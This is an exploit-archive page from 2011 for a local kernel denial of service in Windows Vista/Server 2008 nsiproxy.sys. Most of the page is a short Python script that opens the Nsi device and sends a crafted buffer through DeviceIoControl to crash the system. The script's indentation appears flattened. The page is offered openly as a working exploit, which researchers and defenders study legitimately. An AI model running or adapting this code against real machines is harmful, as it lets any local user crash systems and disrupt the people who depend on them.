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Microsoft Windows Vista/Server 2008 nsiproxy.sys Denial Of Service

Microsoft Windows Vista/Server 2008 nsiproxy.sys Denial Of Service
Posted May 18, 2011
Authored by Lufeng Li

Microsoft Windows Vista/Server 2008 nsiproxy.sys local kernel denial of service exploit.

tags | exploit, denial of service, kernel, local
systems | windows
SHA-256 | 4c62bc0bdb4613a8d22165e49dbe876c86fa1825bcd8b2047eae3fd7038cecc3

Microsoft Windows Vista/Server 2008 nsiproxy.sys Denial Of Service

Change Mirror Download
#!/usr/bin/python

############################################################################
##
## Title: Microsoft Windows Vista/Server 2008 "nsiproxy.sys" Local Kernel DoS Exploit
## Author: Lufeng Li of Neusoft Corporation
## Vendor: www.microsoft.com
## Vulnerable: Windows Vista/Server 2008
##
############################################################################
from ctypes import *

kernel32 = windll.kernel32
Psapi = windll.Psapi

if __name__ == '__main__':
GENERIC_READ = 0x80000000
GENERIC_WRITE = 0x40000000
OPEN_EXISTING = 0x3
CREATE_ALWAYS = 0x2

SYM_NAME = "\\\\.\\Nsi"
dwReturn = c_ulong()
out_buff = ''
in_buff = ("\x00\x00\x00\x00\x00\x00\x00\x00\xec\x2d\x39\x6e\x07\x00\x00\x00"
"\x01\x00\x00\x00\x00\x00\x00\x00\x38\x89\x6c\x01\x08\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x10\xfa\x78\x00\x28\x00\x00\x00"
"\x38\xfa\x78\x00\x0c\x00\x00\x00")

handle = kernel32.CreateFileA(SYM_NAME, GENERIC_READ | GENERIC_WRITE,0, None, CREATE_ALWAYS, 0, None)
dev_ioct = kernel32.DeviceIoControl(handle, 0x12003f, in_buff,len(in_buff), out_buff, len(out_buff),byref(dwReturn), None)

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